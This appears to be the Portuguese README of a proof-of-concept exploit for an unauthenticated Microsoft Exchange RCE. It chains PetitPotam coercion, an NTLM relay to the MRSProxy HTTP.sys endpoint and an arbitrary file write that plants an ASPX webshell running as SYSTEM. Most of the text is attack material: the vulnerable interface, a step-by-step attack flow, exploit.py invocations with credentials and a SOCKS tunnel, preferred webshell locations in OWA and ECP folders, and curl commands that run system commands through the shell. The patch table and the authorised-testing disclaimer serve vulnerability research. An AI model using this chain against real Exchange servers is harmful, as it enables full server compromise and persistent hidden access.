
Exploit de prova de conceito para CVE-2026-62911: RCE sem autenticação prévia no Microsoft Exchange via relay NTLM para MRSProxy, gravando um webshell ASPX para execução de comandos como SYSTEM.
RCE sem autenticação no Microsoft Exchange Server. Nenhuma credencial necessária.
Orange Tsai (DEVCORE) usou isso no Pwn2Own Berlin 2026 como parte de uma cadeia de 3 bugs. Prêmio de US$ 200.000, comprometimento total de SYSTEM.
O Exchange expõe o MailboxReplicationProxyService (MRSProxy) em dois caminhos. Um deles fica no HTTP.sys sem Proteção Estendida:
| Caminho | Hospedado por | Proteção Estendida |
|---|
/EWS/MRSProxy.svc | IIS | Sim. Seguro. |
/Microsoft.Exchange.MailboxReplicationService.ProxyService | HTTP.sys | Não. Alvo de relay. |
O endpoint HTTP.sys aceita autenticação Negotiate, mas nunca verifica associações de canal. Você faz relay de um hash de conta de máquina para ele, e o Exchange trata você como essa máquina. Contas de máquina possuem ms-Exch-EPI-Token-Serialization por padrão, então o serviço WCF concede acesso total.
Uma vez dentro, IMailbox_Config6() recebe um parâmetro filePath. PstDestinationMailbox.ConfigPst() grava qualquer caminho que você fornecer. Não há verificação de extensão. Aponte para um diretório do IIS, chame IMailbox_Connect(), e um arquivo é gravado em disco. Transforme esse arquivo em um webshell ASPX. Pronto.
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
<httpsTransport authenticationScheme="Negotiate"
maxReceivedMessageSize="100000000" />
<!-- no extendedProtectionPolicy — that's the bug -->
</binding>
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
void ExchangeVersionInformation(
VersionInformation clientVersion,
out VersionInformation serverVersion);
long IMailbox_Config6(
Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
string filePath, // attacker-controlled, no validation
byte[] partitionHint, Guid mdbGuid, string mdbName,
MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);
void IMailbox_Connect(long mailboxHandle);
// calls PSTSession.Open() — writes file at filePath
}
| Produto | Vulnerável abaixo de | Corrigido | KB |
|---|---|---|---|
| Exchange 2016 CU23 | 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
O Exchange 2016 chegou ao fim da vida útil em outubro de 2025. A correção de agosto de 2026 é distribuída apenas por meio de Extended Security Updates (ESU). Se a organização não comprou ESU, não há patch.
Attacker EX02 (trigger) EX01 (target)
│ │ │
│── PetitPotam (MS-EFSR) ──▶│ │
│ │ │
│◀── NTLM auth (EX02$) ─────│ │
│ │ │
│── relay NTLM ────────────────────────────────────▶│
│ (to MRSProxy HTTP.sys) │
│ │
│── IMailbox_Config6(path=shell.aspx) ─────────────▶│
│── IMailbox_Connect() ────────────────────────────▶│
│ │ file written
│ │
│── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
│◀── nt authority\system ────────────────────────────│
Cinco etapas:
Dispare MS-EFSR (EfsRpcOpenFileRaw) no EX02. Ele se autentica de volta para você com a conta de máquina dele. O PetitPotam funciona sem autenticação contra Exchange sem patch.
Seu listener SMB captura o negotiate NTLM de EX02$.
Encaminhe-o via HTTPS para o MRSProxy do EX01. O endpoint não verifica EPA, então o relay é concluído. Contas de máquina já têm o direito de serialização do Exchange, então a autorização passa.
Envie chamadas WCF: IMailbox_Config6 com um caminho como C:\inetpub\wwwroot\aspnet_client\shell.aspx, depois IMailbox_Connect. O Exchange grava o arquivo.
Acesse o webshell. Você é SYSTEM.
Instale as dependências:
pip install impacket pysocks
Verifique se o MRSProxy está exposto:
python3 exploit.py --check-only \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
Você quer ver Microsoft-HTTPAPI/2.0 com Negotiate na resposta 401. Isso confirma que o endpoint HTTP.sys está ativo e que EPA está ausente.
Execute o exploit:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
Se o PetitPotam precisar de autenticação no seu alvo:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
-u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM
Através de um túnel SOCKS:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--socks 127.0.0.1 --socks-port 10800
Escolha um local de gravação diferente:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
--webshell-url '/owa/auth/x.aspx'
Verifique se o shell foi gravado:
python3 exploit.py --verify-only \
-t 192.168.1.10 \
--webshell-url '/aspnet_client/system_web/shell.aspx'
Use-o:
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"
| Caminho no disco | URL | Porquê |
|---|---|---|
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx | /aspnet_client/system_web/shell.aspx | Diretório padrão de scripts de cliente do IIS. Geralmente gravável, serve ASPX. |
C:\inetpub\wwwroot\aspnet_client\shell.aspx | /aspnet_client/shell.aspx | O mesmo, mais curto. |
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx | /owa/auth/shell.aspx | Pasta de autenticação do OWA. |
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx | /ecp/auth/shell.aspx | Pasta de autenticação do ECP. |
Apenas para testes autorizados. Obtenha permissão por escrito antes de executar isso contra qualquer coisa.